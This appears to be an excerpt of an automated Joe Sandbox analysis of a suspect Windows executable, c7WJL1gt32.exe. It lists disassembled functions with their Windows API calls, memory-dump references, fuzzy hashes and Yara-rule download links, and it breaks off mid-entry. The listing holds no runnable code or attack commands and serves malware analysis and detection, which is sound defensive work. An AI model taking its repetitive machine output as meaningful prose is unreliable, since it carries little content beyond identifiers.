Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 004024F8 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 0040252B
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 0040253E
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nse90B2.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction ID: 69a0bd767b5398a5b54c194fc83da7942780fa4e63ecbf8b5358c30743fc2944
Opcode Fuzzy Hash: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction Fuzzy Hash: 4B017171904204ABEB149F95DE88ABF7AB8EF80348F10403EF505B61D0DAB85E419B69

Function 00405F61 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414ED0,ogram cannot be run in DOS mode.$,0040345A,0040A230,0040A230,0040335E,00414ED0,00004000,?,00000000,00403208), ref: 00405F75

Strings

ogram cannot be run in DOS mode.$, xrefs: 00405F61

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: FileRead
String ID: ogram cannot be run in DOS mode.$
API String ID: 2738559852-3978178379
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: 5f0138a6a2c6563494c064dd15accf188ef387db15323854b273470b931b092f
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 7AE0EC3221025AAFDF109E959D04EFB7B6CEB05360F044836FD15E6150D675E8619BA4

Function 00405F90 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,0040FE7B,ogram cannot be run in DOS mode.$,004033DE,ogram cannot be run in DOS mode.$,0040FE7B,00414ED0,00004000,?,00000000,00403208,00000004), ref: 00405FA4

Strings

ogram cannot be run in DOS mode.$, xrefs: 00405F90

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: FileWrite
String ID: ogram cannot be run in DOS mode.$
API String ID: 3934441357-3978178379
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 11bffb161eade2b6c2cb4bf4b25223a29cd6195b7324502744f40ed25e3c63a9
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 20E08C3220125BEBEF119E518C00AEBBB6CFB003A0F004432FD11E3180D234E9208BA8

Function 004031D6 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 004031FB

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction ID: f938e70baf20f89fc7421c1cbc4d65c8cbb1a4a40291e2e844035b0cdbff1196
Opcode Fuzzy Hash: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction Fuzzy Hash: 53314B30200219BBDB109F95ED84ADA3E68EB04759F20857EF905E62D0D6789A509BA9

Function 00402484 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024B5
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nse90B2.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction ID: 8b4d26b48c61f4aea5aea8b01f6eaa690eaa4425e6198d6413393360261ed691
Opcode Fuzzy Hash: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction Fuzzy Hash: 61119431910205EBDB14DF64CA585AE7BB4EF44348F20843FE445B72D0D6B85A81EB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction ID: 4945fb4554c9d48a14a82d28c5fc4c127f2c3d85d8aa5c2a63fae023cf5e702c
Opcode Fuzzy Hash: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction Fuzzy Hash: AB01F431724210EBEB199B789D04B2A3698E710714F104A7FF855F62F1DA78CC529B5D

Function 0040238E Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004023B0
RegCloseKey.ADVAPI32(00000000), ref: 004023B9

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction ID: 92c71ce55c792e737e0c56b3c5c8c262173643586798c2a655fc457b9e75749a
Opcode Fuzzy Hash: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction Fuzzy Hash: 5FF0F632E041109BE700BBA49B8EABE72A49B44314F29003FFE42F31C0CAF85D42976D

Function 00401E49 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E67
EnableWindow.USER32(00000000,00000000), ref: 00401E72

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction ID: b41365517dadb09c69eaf87789fd34eb77fb4a5ff64ddc4fb458d6156a5e0ce1
Opcode Fuzzy Hash: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction Fuzzy Hash: DFE0DF32E08200CFE724EFA5AA494AD77B4EB80324B20847FF201F11D1CE7858818F6E

Function 004067C2 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,00403517,0000000A), ref: 004067D4
GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

Part of subcall function 00406752: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
Part of subcall function 00406752: wsprintfW.USER32 ref: 004067A4
Part of subcall function 00406752: LoadLibraryExW.KERNEL32(?,00000000,?), ref: 004067B8

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction ID: 7b80e99db610fb1a261844a57c40f0e669857592e3492eb3b2a0c0f7ce0b312d
Opcode Fuzzy Hash: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction Fuzzy Hash: 14E086325042115BD21057745E48D3762AC9AC4704307843EF556F3041DB78DC35B66E

Function 00405EDE Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\c7WJL1gt32.exe,80000000,00000003), ref: 00405EE2
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction ID: 5201df1ff3c0a0bd0294a98706b79309786c42e99614e685d4e3591f63f4d9e2
Opcode Fuzzy Hash: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction Fuzzy Hash: D5D09E31254601AFEF098F20DE16F2E7AA2EB84B04F11552CB7C2940E0DA7158199B15

Function 0040599C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403498,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004036EF,?,00000006,?,0000000A), ref: 004059A2
GetLastError.KERNEL32(?,00000006,?,0000000A), ref: 004059B0

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction ID: 01a40f06620425e1c555583f7199589d3835b04f5715874dbca4219b9923c3a9
Opcode Fuzzy Hash: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction Fuzzy Hash: D6C04C71216502DAF7115F31DF09B177A50AB60751F11843AA146E11A4DA349455D92D

Function 6CF12AAC Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00000000), ref: 6CF12B6B

Memory Dump Source

Source File: 00000000.00000002.2464950937.000000006CF11000.00000020.00000001.01000000.00000004.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.2464871451.000000006CF10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2464976083.000000006CF14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2465039264.000000006CF16000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_c7WJL1gt32.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 8d30d6e53db500254995174986f8bfd29ee0642426ef8e25ca444d8c8d134058
Instruction ID: 71bd8884c0297eccd70337147ff86e9c908466cae90c15a74a4238fedbf8e29d
Opcode Fuzzy Hash: 8d30d6e53db500254995174986f8bfd29ee0642426ef8e25ca444d8c8d134058
Instruction Fuzzy Hash: CF41A072A18205DFDF64DFE4D98AB8937F4EB07328F22442AE505C6F00D73695889F91

Function 0040167B Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401696

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction ID: 73a88bd3a5ced7927151e6ebce11b30d6a6a5b8b2c4e1db0cab765602213b928
Opcode Fuzzy Hash: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction Fuzzy Hash: CBF09031A0851197DF10BBA54F4DD5E22509B8236CB28073BB412B21E1DAFDC542A56E

Function 004027EF Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

